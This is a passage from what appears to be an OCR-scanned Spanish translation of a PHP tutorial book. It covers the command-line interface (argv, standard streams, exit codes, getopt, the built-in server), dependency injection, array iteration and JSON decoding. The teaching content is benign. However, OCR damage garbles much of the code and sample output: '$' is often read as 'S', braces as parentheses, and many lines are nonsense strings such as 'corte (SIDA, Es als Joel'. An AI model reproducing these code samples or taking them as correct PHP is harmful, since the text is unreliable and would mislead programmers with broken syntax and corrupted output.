C. sarge es un número entero que contiene el número de argumentos, incluido el nombre del 
programa, Y sargv es una matriz que contiene argumentos para el programa. El primer elemento 
de sargv es el nombre del programa. 


+!/usr/bin/php 


printf ("You called the program $%s with $d argumentsin", S$argv[0], Sarge — 1); 
unset (Sargv[0]); 
foreach ($argv as $1 => Sarg) ( 

printf ("Argument $%d is %sin", $1, $arg); 


Al llamar a la aplicación anterior con pnp example.php foo bar (donde example.php contiene el 
código anterior) se obtendrá el siguiente resultado: 


Llamaste al programa example.php con 2 argumentos 
Argumento 1 es foo 
Argumento 2 es barra 


Tenga en cuenta que sarge Y $argv son variables globales, no variables superglobal. Deben 
importarse en el ámbito local utilizando la palabra clave y1oba1 si se necesitan en una función. 


Este ejemplo muestra cómo se agrupan los argumentos cuando se utilizan escapes como "" 01. 


Ejemplo de script 
var_dump ($argc, S$argv); 


Línea de comando 


$ php argc.argv.php --this-is-an-option threel wordsl together or "in one quote" butY 
multiplel spacesl countedl asl one 
int (6) 
array(6) 1 
0]=> 
Serio (LS) ares aro js 
1]=> 
Serias (LO) Vosrcmaitsts=cm=oojarciloa” 
2]1=> 


string(20) "three words together" 
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[SIS 


seciag (2) Waz 

[413> 

string(12) "in one quote" 
[S13> 


string(34) "but multiple spaces counted as one" 


Si el script PHP se ejecuta usando -» : 


S php -r 'var_dump ($argv);' 
array (1) ( 
[013> 

string (1) 


O el código canalizado en STDIN de php : 


S caro "Haas years elo (Bears) ll aaa 
array(1) ( 
[01=> 

string (1) 


Manejo de entrada y salida 


Cuando se ejecuta desde la CLI, las constantes STDIN, STDOUT y STDERR están predefinidas. 
Estas constantes son manejadores de archivos y pueden considerarse equivalentes a los 
resultados de ejecutar los siguientes comandos: 


DION. = Barca (Manos / sica, Wi) o 
TDOUT = fopen("php://stdout", 1. 
STDERR = fopen("php://stderr", 0). 


Y YN 


"ww 
"ww 


Las constantes se pueden usar en cualquier lugar donde un manejador de archivos estándar sea: 


+!/usr/bin/php 


while ($line = fgets(STDIN)) ( 
sliine ="ststollower (trimiiSliine)) 
switch ($line) ( 


Case "bad": 
corte (SIDA, Es als Joel, 2 AO, Slim) A 


break; 
case "cule Ys 
exit; 
default: 
orcas (SIDO, "Es ds cuedr , 1259 JMOly, Sillas) 


break; 


Las direcciones de flujo incorporadas a las que se hizo referencia anteriormente ( php: //stdin , 
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php: //stdout Y php: //stderr ) Se pueden usar en lugar de los nombres de archivo en la mayoría de 
los contextos: 


2 le jui _comiecames (amas / Sector) Ulls 18 sico cone ") p 
slds jue comes (mos / sele!) Vas 2 Sie comesiae Y) y 


// Open handle and write multiple times. 
$stdout = fopen('php://stdout', 'w'); 


fwrite($stdout, 'Hello world from stdout' . PHP_EOL); 
fwrite($stdout, 'Hello again'); 


fclose ($stdout); 


Como alternativa, también puede usar readline () para la entrada, y también puede usar eco o 
imprimir o cualquier otra función de impresión de cadenas para la salida. 


$name = readline ("Please enter your name: "); 


print "Hello, ($name)."; 


Códigos de retorno 
La construcción de salida se puede usar para pasar un código de retorno al entorno de ejecución. 


+!/usr/bin/php 


if (Sfargv[1] === "bad") ( 
Sa e 

) else ( 
exit (0); 


Por defecto, se devolverá un código de salida de o si no se proporciona ninguno, es decir, la exit 
es la misma que la de exit (0) . Como exit no es una función, los paréntesis no son necesarios si 
no se pasa ningún código de retorno. 


Los códigos de retorno deben estar en el rango de O a 254 (255 está reservado por PHP y no 
debe usarse). Por convención, salir con un código de retorno de o le dice al programa que llama 
que el script PHP se ejecutó correctamente. Utilice un código de retorno distinto de cero para 
indicar al programa que llama que se produjo una condición de error específica. 


Opciones de programa de manejo 


Las opciones del programa se pueden manejar con la función getopt () . Funciona con una 
sintaxis similar al comando POSIX getop+ , con soporte adicional para las opciones largas de 
estilo GNU. 


+!/usr/bin/php 


// a single colon indicates the option takes a value 
// a double colon indicates the value may be omitted 
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Sshortoptes = "ht UIIaN: 

// GNU-style long options are not required 
Slongopts = ["help", "version"]; 

Sopts = getopt ($shortopts, $longopts); 


// options without values are assigned a value of boolean false 
// you must check their existence, not their truthiness 


ad (ise (Sos Ma) | sect (Sospes Masia WI) 4 
fprintf(STDERR, "Here is some help!In"); 
exit; 

) 

// long options are called with two hyphens: "-—version" 

if (isset($opts["version"])) ( 
orcas Vez 2254030 y 1 JO, Seras 01) 
exit; 

) 

// options with values can be called like "-=£ foo", "-£foo", or "-£=£o00" 

Silo == 

1% (isscr (Bores EY) € 


Súnle = Soyes [EW] ¿ 
) 


if (empty($file)) ( 
fprintf(STDERR, "We wanted a file!" . PHP_EOL); 
exit (1); 
) 
corte (Soo, Mide e Es , Pi 120, Site) — 
// options with optional values must be called like "-v5" or "-v=5" 
Sverbosity = 0; 
1 (isser (Boses "WI € 
Svenvosilay = (Sorry === rales) Y 1: (ae) sopes TA 
) 
fprintf (STDOUT, "Verbosity is %d" . PHP_EOL, $verbosity); 


// options called multiple times are passed as an array 


Sdebug = 0; 
1% (isser (Boses I"avrid) E 
Saciaume = Le srrzey (Soses [UauI) 2 come (Sopes ["erI) e e 
) 
orctimer (SD Qur, "Mesa als Sa , 1509 JO, Sello), 


// there is no automated way for getopt to handle unexpected options 


Este script puede ser probado como tal: 


./test.php --help 
./test.php --version 
./test.pnhp -£ foo -ddd 
./test.php =v =d -££oo 
./test.php -v5b -f£=fo00 
./test.pnp =£ foo =v 5 -d 


Tenga en cuenta que el último método no funcionará porque -v s no es válido. 


Nota: A partir de PHP 5.3.0, getop+ es un sistema operativo independiente, que 
también funciona en Windows. 
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Restrinja la ejecución del script a la línea de comando 


La función pro sapi_name () y la constante pa»_sar1 devuelven el tipo de interfaz ( S erver API ) que 
está utilizando PHP. Se pueden usar para restringir la ejecución de un script a la línea de 
comando, verificando si la salida de la función es igual a c1: . 


1f (php_sapi_name() === 'cli') ( 
echo "Executed from command linen"; 
) else ( 


echo "Executed from web browsern"; 


) 


La función arupal_ is ci: () es un ejemplo de una función que detecta si un script se ha ejecutado 
desde la línea de comandos: 


Euscicion clama ls ela (0) 4 

return (!isset ($5_SERVER['SERVER_SOFTWARE']) 86 (php_sapi_name () == 'cli' || 
(is ame (SUN eres 1) E $ INV are] > 0))) 7 
) 


Ejecutando tu guion 


En Linux / UNIX o Windows, se puede pasar un script como argumento al ejecutable de PHP, con 
las opciones y argumentos de ese script a continuación: 


php -/example.php foo bar 
c:iphpiphp.exe c:lexample.php foo bar 


Esto pasa foo Y bar COMO argumentos A example.php . 


En Linux / UNIX, el método preferido para ejecutar scripts es usar un shebang (por ejemplo, 
k!/usr/bin/env php ) COMO la primera línea de un archivo, y establecer el bit ejecutable en el 
archivo. Suponiendo que el script está en su ruta, puede llamarlo directamente: 


example.php foo bar 


El uso de /usr/bin/env php hace que el ejecutable de PHP se encuentre utilizando el PATH. 
Siguiendo cómo se instala PHP, es posible que no se encuentre en el mismo lugar (como 
/usr/bin/php O /usr/loca1/bin/php ), a diferencia de env que normalmente está disponible en 


/usr/bin/env . 


En Windows, puede obtener el mismo resultado al agregar el directorio de PHP y su secuencia de 
comandos a la RUTA y editar PATHEXT para permitir que se detecte . pne utilizando la RUTA. 
Otra posibilidad es agregar un archivo llamado example .bat O example .cma en el mismo directorio 
que su script PHP y escribir esta línea en él: 


c:WphpYphp.exe "S%-dp0example.php" $* 
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O, si agregó el directorio de PHP en el PATH, para un uso conveniente: 


php "%-dpd0example.php" $* 


Diferencias de comportamiento en la línea de comando. 


Cuando se ejecuta desde la CLI, PHP muestra algunos comportamientos diferentes que cuando 
se ejecuta desde un servidor web. Estas diferencias deben tenerse en cuenta, especialmente en 
el caso de que se pueda ejecutar el mismo script desde ambos entornos. 


+ Sin cambio de directorio Cuando se ejecuta un script desde un servidor web, el directorio 
de trabajo actual es siempre el del propio script. El código require ("./stuff.inc"); asume 
que el archivo está en el mismo directorio que el script. En la línea de comandos, el 
directorio de trabajo actual es el directorio en el que se encuentra cuando llama al script. 
Los scripts que se van a llamar desde la línea de comandos siempre deben usar rutas 
absolutas. (Tenga en cuenta que las constantes mágicas _pirR_ y _ rie continúan 
funcionando como se esperaba y devuelven la ubicación del script). 

+ No hay salida de búfer las pnp.ini directivas output_buffering Y implicit_flush por defecto 
a false Y true , respectivamente. El almacenamiento en búfer todavía está disponible, pero 
debe habilitarse explícitamente, de lo contrario, la salida siempre se mostrará en tiempo 
real. 

+ Sin límite de tiempo La directiva pnp.ini max_execution_time Se establece en cero, por lo 
que los scripts no SO max_execution_time forma predeterminada. 

+ No hay errores de HTML En el caso de que haya habilitado la directiva pnp.ini html_errors 
, Se ignorará en la línea de comandos. 

+ Se pueden cargar diferentes pne.ini.. Cuando está usando php desde cli, puede usar 
pnp. ini diferente al servidor web. Puede saber qué archivo está usando ejecutando pnp -- 


ini. 
Ejecutando servidor web incorporado 


A partir de la versión 5.4, PHP viene con servidor incorporado. Puede utilizarse para ejecutar 
aplicaciones sin necesidad de instalar otro servidor http como nginx o apache. El servidor 
incorporado está diseñado solo en el entorno del controlador para fines de desarrollo y prueba. 


Se puede ejecutar con el comando php -S: 


Para probarlo cree el archivo index .pne que contiene 


<?php 
echo "Hello World from built-in PHP server"; 


y ejecute el comando pnp -s localhost :8080 


Ahora debes poder ver el contenido en el navegador. Para verificar esto, navegue a 
http://localhost :8080 


Cada acceso debe dar como resultado una entrada de registro escrita en el terminal 
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[Moa ¿Aur 1S 18320319 20118] gsies2dss [20018 / 


Edge Casos de getopt () 


Este ejemplo muestra el comportamiento de getopt cuando la entrada del usuario es poco común: 
getopt .php 


var_dump ( 
cerco (Malezas, [Peslea”, "cosillomsY, "eerass"Y 1) 


5 


Línea de comandos de shell 


S php getopt.php -a -a -bbeta -b beta -cgamma --delta --epsilon zeta zeta=f c gamma 
array(6) (1 
["a"]=> 
array (2) 
> 
bool (false) 
[1]=> 
bool (false) 
) 
MSIE 
array (2) 
[013 
string(4) "beta" 
[1]=> 
string(4) "beta" 


) 
["c"]= 
array (2) ( 
[013 
string(5) "gamma" 
[1]=> 
bool (false) 
) 
["delta"]=> 
bool (false) 
["epsilon"]=> 


Scclao (9) "==2G6ta" 
(WMaetal]=> 
Sueco (1) WEw 


De este ejemplo, se puede ver que: 


+ Las opciones individuales (sin dos puntos) siempre tienen un valor booleano de raise si 
están habilitadas. 

+ Si se repite una opción, el valor respectivo en la salida de getop: se convertirá en una 
matriz. 

+ Las opciones de argumento requeridas (una coma) aceptan un espacio o ningún espacio 
(como opciones de argumento opcionales) como separador 

* Después de un argumento que no se puede asignar a ninguna opción, las opciones que se 
encuentran detrás tampoco se asignarán. 
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Lea Interfaz de línea de comandos (CL!) en línea: 
https://riptutorial.com/es/php/topic/2880/nterfaz-de-linea-de-comandos--cli- 
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Capítulo 57: Inyección de dependencia 


Introducción 


La inyección de dependencia (DI) es un término elegante para "pasar cosas". Todo lo que 
realmente significa es pasar las dependencias de un objeto a través del constructor y / o 
configuradores en lugar de crearlos en la creación del objeto dentro del objeto. La inyección de 
dependencia también puede referirse a los contenedores de inyección de dependencia que 
automatizan la construcción y la inyección. 


Examples 


Inyección Constructor 


Los objetos a menudo dependerán de otros objetos. En lugar de crear la dependencia en el 
constructor, la dependencia debe pasarse al constructor como un parámetro. Esto garantiza que 
no haya un acoplamiento estrecho entre los objetos y permite cambiar la dependencia de la 
creación de instancias de clase. Esto tiene una serie de ventajas, que incluyen facilitar la lectura 
del código al hacer explícitas las dependencias, así como simplificar las pruebas, ya que las 
dependencias se pueden cambiar y simular con mayor facilidad. 


En el siguiente ejemplo, el component dependerá de una instancia de Logger , pero no crea una. 
Requiere que se pase uno como argumento al constructor. 


interface Logger ( 
public function log(string $message); 


) 


class Component ( 
private $logger; 


public function __construct (Logger $logger) ( 
Sthis->logger = $logger; 


) 


Sin la inyección de dependencia, el código probablemente sería similar a: 


class Component ( 
private $logger; 


pulsliles Eumerlicna — Cconstzuerelo) 1 


Sthis->logger = new FooLogger (); 
) 


El uso de new para crear nuevos objetos en el constructor indica que la inyección de dependencia 
no se usó (o se usó de manera incompleta), y que el código está estrechamente acoplado. 
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También es una señal de que el código no está completamente probado o puede tener pruebas 
frágiles que hacen suposiciones incorrectas sobre el estado del programa. 


En el ejemplo anterior, donde en cambio estamos usando la inyección de dependencia, 
podríamos cambiar fácilmente a un registrador diferente si fuera necesario. Por ejemplo, 
podríamos usar una implementación del registrador que se registra en una ubicación diferente, o 


que utiliza un formato de registro diferente, o que se registra en la base de datos en lugar de en 
un archivo. 


Inyección de Setter 


Las dependencias también pueden ser inyectadas por setters. 


interface Logger ( 
public function log($message); 


) 


class Component ( 
private $logger; 
private $databaseConnection; 


public function __construct (DatabaseConnection $databaseConnection) ( 
Sthis->databaseConnection = $databaseConnection; 


) 


public function setLogger (Logger $logger) ( 
Sthis->logger = $logger; 


) 


¡aus Enmmcrclon core (0) 
Sthis->logSave (); 
return $this->databaseConnection->save($this); 


public function logSave() ( 
if ($this->logger) ( 
Sthis=>loggers>llog (saving) 


Esto es especialmente interesante cuando la funcionalidad principal de la clase no depende de la 
dependencia para trabajar. 


Aquí, la única dependencia necesaria eS Databaseconnection por lo que está en el constructor. La 
dependencia del .oyygex es opcional y, por lo tanto, no necesita ser parte del constructor, lo que 
hace que la clase sea más fácil de usar. 


Tenga en cuenta que al utilizar la inyección de setter, es mejor ampliar la funcionalidad en lugar 
de reemplazarla. Al establecer una dependencia, no hay nada que confirme que la dependencia 
no cambie en algún momento, lo que podría generar resultados inesperados. Por ejemplo, un 
FileLogger Se puede configurar al principio, y luego se puede configurar Un Mai1Logger . Esto 
rompe la encapsulación y hace que los registros sean difíciles de encontrar, porque estamos 
reemplazando la dependencia. 
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Para evitar esto, deberíamos agregar una dependencia con la inyección de setter, así: 


interface Logger ( 
public function log($message); 


) 


class Component ( 
private $loggers = array (); 
private $databaseConnection; 


public function __construct (DatabaseConnection $databaseConnection) ( 
Sthis->databaseConnection = $databaseConnection; 


) 


public function addLogger (Logger $logger) ( 


$this->loggers[] = $logger; 
) 


amslils Emaccilon cozs (0) 
Sthis->logSave (); 
return $this->databaseConnection->save ($this); 


public function logSave() ( 
foreach ($this->loggers as $logger) ( 
Slogger->log('saving'); 


De esta forma, siempre que usemos la funcionalidad principal, no se interrumpirá incluso si no se 
agrega la dependencia del registrador, y cualquier registrador agregado se usará aunque se haya 
agregado otro registrador. Estamos extendiendo la funcionalidad en lugar de reemplazarla . 


Inyección de contenedores 


La inyección de dependencia (DI) en el contexto del uso de un recipiente de inyección de 
dependencia (DIC) se puede ver como un superconjunto de la inyección del constructor. Un DIC 
típicamente analizará las sugerencias de tipo de un constructor de clase y resolverá sus 
necesidades, inyectando efectivamente las dependencias necesarias para la ejecución de la 
instancia. 


La implementación exacta va más allá del alcance de este documento, pero en el fondo, un DIC 
se basa en el uso de la firma de una clase ... 


namespace Documentation; 


class Example 
[ 


private $meaning; 


public function __construct (Meaning $meaning) 


( 


$this->meaning = $meaning; 
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... para crear instancias automáticamente, confiando la mayor parte del tiempo en un sistema de 
carga automática . 


// older PHP versions 
Scontainer->make ('DocumentationExample'); 


// since PHP 5.5 
Scontainer->make (1DocumentationlExample::class); 


Si está utilizando PHP en la versión al menos 5.5 y desea obtener el nombre de una clase de la manera que se 
muestra arriba, la segunda es la forma correcta. De esa manera, puede encontrar rápidamente los usos de la clase 
utilizando los IDE modernos, que le ayudarán enormemente con la refactorización potencial. Usted no quiere confiar 
en cadenas regulares. 


En este Caso, DocumentationiExamp1e Sabe que necesita UN Meaning , y UN DIC a su vez creará un 
tipo de Meaning . La implementación concreta no necesita depender de la instancia consumidora. 


En su lugar, establecemos reglas en el contenedor, antes de la creación del objeto, que indica 
cómo se deben crear instancias de tipos específicos si es necesario. 


Esto tiene una serie de ventajas, ya que un DIC puede 


+ Comparte instancias comunes 
* Proporcionar una fábrica para resolver una firma de tipo. 
+ Resolver una firma de interfaz 


Si definimos reglas sobre cómo debe administrarse un tipo específico, podemos lograr un control 
preciso sobre qué tipos se comparten, se crean instancias o se crean a partir de una fábrica. 


Lea Inyección de dependencia en línea: https://riptutorial.com/es/php/topic/779/inyeccion-de- 
dependencia 
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Capítulo 58: Ilteración de matriz 


Sintaxis 


» para ($ ¡ = 0; $ i <count ($ array); $ ¡ ++) [incremental_iteration (); ) 
* para ($ ¡ = count ($ array) - 1; $1> =0; $ ¡--) [reverse _¡teration (); ) 
* foreach ($ datos como $ dato) () 

* foreach ($ data como $ key => $ datum) () 

* foreach ($ data as 8. $ datum) () 


Observaciones 


Comparación de métodos para iterar una 
matriz 


foreach El método más simple para iterar una matriz. 


foreach por y , ; ; . 
E Método simple para iterar y cambiar elementos de una matriz. 


referencia 
for con índice Permite iterar la matriz en una secuencia libre, por ejemplo, omitiendo 
incremental o invirtiendo múltiples elementos 


Punteros de matriz Ya no es necesario usar un bucle (de modo que pueda ¡iterar una vez 
interna que cada llamada de función, recepción de señal, etc.) 


Examples 


lterando múltiples matrices juntas 
A veces, dos matrices de la misma longitud deben repetirse juntas, por ejemplo: 


speoplle = [Time Tony”, "Turanga 1; 
Sfoods = ['chicken', 'beef', 'slurm']; 


array_map eS la forma más sencilla de lograr esto: 


array_map (function ($person, S$food) ( 
return "$person likes $foodYn"; 
), $people, $foods); 
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que dará salida: 


Tim likes chicken 
Tony likes beef 


Turanga likes slurm 


Esto se puede hacer a través de un índice común: 


assert (count ($people) === count ($foods)); 
OB (Si 0 Sa < count (Speopllie) Sie) A 
echo "Speople[$il] likes $foods[$ilin"; 


Si las dos matrices no tienen las claves incrementales, array_values ($array) [$1] Se puede usar 
para reemplazar sarray[$i] . 


Si ambas matrices tienen el mismo orden de claves, también puede usar un bucle foreach-with- 
key en una de las matrices: 


foreach ($people as Sindex => $person) ( 
Sfood = $foods[$index]; 
echo "Sperson likes S$foodin"; 


Las matrices separadas solo se pueden recorrer en bucle si tienen la misma longitud y también 
tienen el mismo nombre de clave. Esto significa que si no proporciona una clave y están 
numeradas, estará bien o si nombra las claves y las coloca en el mismo orden en cada matriz. 


También puedes USar array_combine . 


ScombinedArray = array_combine ($people, $foods); 
Ii Basilica = ["Ti => "emieken", "rom" => "Weeet"”, "mramea? => "simil, 


Luego puedes recorrer esto haciendo lo mismo que antes: 


foreach ($combinedArray as $person => $meal) ( 
echo "Sperson likes $mealin"; 


Usando un índice incremental 


Este método funciona al incrementar un número entero de 0 al índice más grande de la matriz. 


Scolorzs = [Mreee", “yellon", 'Mbiue", "“qreca" 1, 
Foz (Sil = 0p Si < coume (Seolozs)p Sis 4 
ciao “IE Em tele colo Y. Sedlors (Sail . “doz>", 


Esto también permite iterar una matriz en orden inverso sin Usar array_reverse , lo que puede 
array_reverse Sobrecarga si la matriz es grande. 
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Scolors = [Mreee", “yellon", 'Mbiue", "“qreca" 1, 
so (Sil = come (Secolozs) = lp Sil >= 09 Si==) 4 
clas “IE Em tele color Y. Sellers (Sil . “Goe>", 


Puede omitir o rebobinar el índice fácilmente utilizando este método. 


Semmizay = [Malaaa”, WostaY, Verna”, Yeslre", "Eosilaa"], 
sor ($1 = 09 SL < conmiú (Serszay) Bis) A 
echo Sarray[$i], PHP_EOL; 
if (Sarray[$il === "gamma") ( 
Sarray[$il = "zeta"; 
Sá == 2) 
) elseif (farray[$1] === "zeta") ( 
Sálaep 
) 
) 
Salida: 
alpha 
beta 
gamma 
beta 
zeta 
epsilon 


Para matrices que no tienen índices incrementales (incluidas las matrices con índices en orden 
inverso, por ejemplo, (1 => "foo", 0 => "bar"] , ["foo" => "£", "bar" => "b"] ), esto no se puede 
hacer directamente. array_values O array_keys pueden usarse en su lugar: 


Sarray = [Lar => “Elgar, Uns => "beta", Mw => "gamma", Malu => "delta"] ñ 
Skeys = array_keys ($array) ; 
Eon (Su = 0 Sa count (Sarray) Si 


$key = $keys[$i]; 
$value = Sfarray[$key]l; 
echo "Svalue is $keyAn"; 


Usando punteros de matriz interna 


Cada instancia de matriz contiene un puntero interno. Al manipular este puntero, diferentes 
elementos de una matriz se pueden recuperar de la misma llamada en diferentes momentos. 


Usando .... 


Cada llamada a eacn () devuelve la clave y el valor del elemento de la matriz actual, e incrementa 
el puntero interno de la matriz. 


Sarray = EUEA => boo UN => mail 
while (list($key, $value) = each($array)) ( 
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echo "S$value begins with Skey"; 


Usando ...: 


Sarray = [MAlpkal” "Bera "Gamma, "Delta 
while (($value = next ($array)) !== false) ( 
echo "Svaluein"; 


Tenga en cuenta que este ejemplo supone que ningún elemento de la matriz es idéntico a 
booleano false . Para evitar tal suposición, use la «+, para verificar si el puntero interno ha llegado 


al final de la matriz: 


Seras = [ábaaa, “Mistrar, "Esmeal, "Meles"l, 
while (key (S$array) !== null) ( 


echo current (Sarray) . PHP_EOL; 
next (Sarray); 


Esto también facilita la iteración de una matriz sin un bucle directo: 


class ColorPicker ( 


private $colors = ["*FF0064", "*f0064FF", "*64FFO0O0", "FFEF6G400", 
¡amos Eucerin me ucolor() $ Stirling 
Seesult next iS coloms)i 


// 1f end of array reached 
1f (key($colors) === null) ( 
reset ($colors); 


) 


return $result; 


Usando foreach 


Bucle directo 


foreach ($colors as $color) ( 
celo WE cm as color elos 


Lazo con llaves 


$Sfoods = ['healthy' => 'Apples', 'bad' => 'Ice Cream']; 
foreach ($foods as $key => $food) ( 
echo "Eating $food is $key"; 
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"FO0O0FF 64" 


, 


"+6400FEF"]; 


289 


Bucle por referencia 


En los bucles foreach de los ejemplos anteriores, la modificación del valor ( $co1or O $f£ooa ) NO 
cambia directamente su valor en la matriz. Se requiere el operador « para que el valor sea un 
puntero de referencia al elemento en la matriz. 


Syears = [2001, 2002, 3, 41; 
foreach ($years as £Syear) ( 
1f ($year < 2000) $year += 2000; 


Esto es similar a: 


Syears = [2001, 2002, 3, 41; 
for(Si = 0; $i < count ($years); $i++) ( // these two lines 
Syear = 8$years[$i]; // are changed to foreach by reference 


if ($year < 2000) $year += 2000; 


Concurrencia 


Arrays PHP pueden ser modificados en cualquier forma durante la iteración y sin problemas de 
concurrencia (a diferencia por ejemplo de Java 1:ist s). Si la matriz se ¡tera por referencia, las 
iteraciones posteriores se verán afectadas por los cambios en la matriz. De lo contrario, los 
cambios en la matriz no afectarán a las iteraciones posteriores (como si en su lugar estuviera 
iterando una copia de la matriz). Comparar bucles por valor: 


Sarray = [0 => 1, 2 => 3, => y 1 => 717 
foreach ($array as $key => $value) ( 
1f (Skey === 0) ( 
Sarray[6] = 17; 


unset (Sarray[41); 
) 


echo "S$key => $valueln"; 


Salida: 


Il 
NA 


Dino 
MM 
VVS 

O E) 1 


Il 
NA 


Pero si la matriz se ¡tera con referencia, 


Sarray = [0 => 1, 2 => 3, 4 => 5, 6 => 7]; 
) 


foreach ($farray as $key => £$value 


( 
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16 (Sikey === 0) 4 
Sarray[6] = 17; 
unset (Sarray[4]); 

) 


echo "Skey => $valuein"; 


Salida: 


El conjunto de valores-clave de 4 => 5 ya no se itera, y s => 7 se cambia a 6 => 17. 
Usando ArrayObject lterator 


Php arrayiterator le permite modificar y desarmar los valores mientras itera sobre matrices y 
objetos. 


Ejemplo: 


Senses = [UV => l“agqle!, 12 => Morea, Sl => dae) 


SarrayObject = new ArrayObjJect (S$array); 


Siterator = SarrayObject->getlterator (); 
for ($iterator; $iterator->valid(); $iterator->next ()) ( 
aho Sirera ls) . "S> "o. Slrecracor urea (0) . "</1 
) 
Salida: 
=> apple 


2 => banana 
=> cherry 


Lea lteración de matriz en línea: https://riptutorial.com/es/php/topic/5727/iteracion-de-matriz 
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Capítulo 59: JSON 


Introducción 
JSON (JavaScript Object Notation ) es una forma independiente de plataforma y lenguaje de 


serializar objetos en texto plano. Debido a que se usa a menudo en la web y también lo es PHP, 
hay una extensión básica para trabajar con JSON en PHP. 


Sintaxis 
* Cadena json_encode (valor mezclado de $ [, int $ options = 0 [, int $ depth = 512]]) 
* json_decode mixto (string $ json [, bool $ assoc = false [, int $ depth = 512 [, int $ options = 


0111) 


Parámetros 


Parámetro Detalles 


json_encode - 


El valor que se codifica. Puede ser de cualquier tipo excepto un recurso. 


Walbr Todos los datos de cadena deben estar codificados en UTF-8. 
Máscara de bits consistente en JSON_HEX_QUOT, JSON_HEX_TAG, 
OS JSON_HEX_AMP, JSON_HEX_APOS, JSON_NUMERIC_CHECK, 


JSON_PRETTY_PRINT El comportamiento de estas constantes se describe 
en la página de constantes JSON . 


profundidad Establecer la profundidad máxima. Debe ser mayor que cero. 
json_decode - 


La cadena json está siendo decodificada. Esta función solo funciona con 


en cadenas codificadas en UTF-8. 


asoc La función debe devolver el conjunto asociativo en lugar de los objetos. 


Máscara de bits de las opciones de decodificación JSON. Actualmente solo 
opciones se admite JSON_BIGINT_AS_ STRING (el valor predeterminado es convertir 
enteros grandes como flotantes) 


Observaciones 


+ El manejo de json_decode de JSON no válido es muy inestable, y es muy difícil determinar 
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de manera confiable si la decodificación tuvo éxito, json_decode devuelve nulo para una 
entrada no válida, aunque null también es un objeto perfectamente válido para que JSON 
decodifique. Para evitar este tipo de problemas, siempre debe llamar a json_last_error 
cada vez que lo use. 


Examples 


Decodificando una cadena JSON 


La función ¿son _decode () toma una cadena codificada en JSON como su primer parámetro y la 
analiza en una variable de PHP. 


Normalmente, json_decode () devolverá un objeto de | stdClass si el elemento de nivel superior 
en el objeto JSON es un diccionario o una matriz indexada si el objeto JSON es una matriz. 
También devolverá valores escalares O sun para ciertos valores escalares, como cadenas 
simples, "true" , "false" Y "nul1" . También devuelve nun en cualquier error. 


// Returns an object (The top level item in the JSON string is a JSON dictionary) 


son sisas = (Mass: "er", Tagels 20, "eacutiyells eu, "colozsda [Meco, ilus 
Sobject = json_decode ($json_string); 
printf('Hello %s, You are %s years old.', $object->name, $fobject->age); 


> Hello Jeff, You are 20 years old. 


// Returns an array (The top level item in the JSON string is a JSON array) 


SS som siii => Y [Merz 20, came, (Mesa, ius" 147 
Sarray = json_decode ($json_string); 
¡ria (Miiclilo Es, Mou cue es wesiss Ole, Y, Seur 01, Sere MD) p 


Use var dump () para ver los tipos y valores de cada propiedad en el objeto que decodificamos 
arriba. 


// Dump our above S$object to view how it was decoded 
var_dump ($object); 


Salida (note los tipos de variables): 


class stdClassHt2 (4) ( 


["name"] => string(4) "Jeff" 
["age"] => int (20) 
["active"] => bool (true) 
["colors”] => 

array (2) ( 


[0] => string(3) "red" 
[1] => string(4) "blue" 


Nota: Los tipos de variables en JSON se convirtieron a su equivalente de PHP. 


Para devolver una matriz asociativa para objetos JSON en lugar de devolver un objeto, pase true 
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como segundo parámetro a json_decode() . 


som sisas = Mames "er", Tasels 20, Vacurivyes eu, "colors [Mrca, sitas PU 
Sarray = Json_decode ($3Json_string, true); // Note the second parameter 


var_dump ($array); 


Salida (note la estructura asociativa de la matriz): 


array (4) (1 
["name"] => string(4) "Jeff" 
["age"] => int (20) 
["active"] => bool (true) 
I“cslorzs*TI => 
array(2) ( 


[0] => string(3) "red" 
[1] => string(4) "blue" 


El segundo parámetro ( sassoc ) no tiene efecto si la variable a devolver no es un objeto. 


Nota: Si usa el parámetro sassoc , perderá la distinción entre una matriz vacía y un objeto vacío. 
Esto significa que ejecutar ¿son_encode () en su salida descodificada de nuevo, resultará en una 
estructura JSON diferente. 


Si la cadena JSON tiene una "profundidad" de más de 512 elementos ( 20 elementos en 
versiones anteriores a 5.2.3, o 128 en la versión 5.2.3 ) en recursión, la función json_decode () 
devuelve uz . En las versiones 5.3 o posteriores, este límite se puede controlar mediante el 
tercer parámetro ( saeptn ), como se explica a continuación. 


Según el manual: 


PHP implementa un superconjunto de JSON como se especifica en el »RFC 4627 
original - también codificará y decodificará tipos escalares y NULL. RFC 4627 solo 
admite estos valores cuando están anidados dentro de una matriz o un objeto. Aunque 
este superconjunto es consistente con la definición ampliada de "texto JSON" en el 
»REFC 7159 más reciente (que apunta a reemplazar el RFC 4627) y » ECMA-404 , esto 
puede causar problemas de interoperabilidad con los analizadores JSON más 
antiguos que se adhieren estrictamente al RFC 4627 cuando codificando un solo valor 
escalar. 


Esto significa que, por ejemplo, una cadena simple se considerará un objeto JSON válido en 
PHP: 


$3]son = Json_decode('"some string"', true); 
var_dump ($3son, json_last_error_msg()); 


Salida: 


seso (ll) ec Say 
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string (8) 


"No error" 


Pero las cadenas simples, que no están en una matriz u objeto, no forman parte del estándar 
RFC 4627 . Como resultado, los verificadores en línea como JSLint, JSON Formatter € Validator 
(en modo RFC 4627) le darán un error. 


Hay un tercer parámetro sdepea para la profundidad de la recursión (el valor predeterminado es 
512 ), lo que significa la cantidad de objetos anidados dentro del objeto original a decodificar. 


Hay un cuarto parámetro de soptions . Actualmente solo acepta un valor, yson_BIGINT_AS_STRING . 
El comportamiento predeterminado (que deja esta opción) es convertir enteros grandes en 
flotantes en lugar de cadenas. 


Las variantes no escritas en minúsculas de los literales verdadero, falso y nulo ya no 
se aceptan como entrada válida. 


Así que este ejemplo: 


var_dump (Json_decode 
var_dump (Json_decode 


var_dump 
var_dump 


var_dump (Json_decode 


( 
( 
( 
( 
( 
( 


var_dump (Json_decode 


Jjson_decode 
Jjson_decode 


SRUEY 
'"TRUe' 
"TRUE" 


Antes de PHP 5.6: 


bool (true) 


ool (true) 


tring(8) 


Y después: 


Escala] (12) 


ool (true) 


tring(8) 


o error" 


o error" 


o error" 


o) Sisojr 


o error" 


o error" 


"Syntax error" 


"Syntax error" 


"Syntax error" 


"Syntax error" 


"Syntax error" 


"No error" 


, Json_last_error_msg 


o Sa last error msg 


NS ona tas tiesto ránsa 


, Json_last_error_msg 


, Json_last_error_msg 


AS on as errors 
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Similar comportamiento ocurre para false Y null . 


Tenga en cuenta que json_decode () devolverá suLr si la cadena no se puede convertir. 


Sjeon = "(mames "der", "ace"s 20 YY p // invalid 380 
Sperson = json_decode ($3json); 
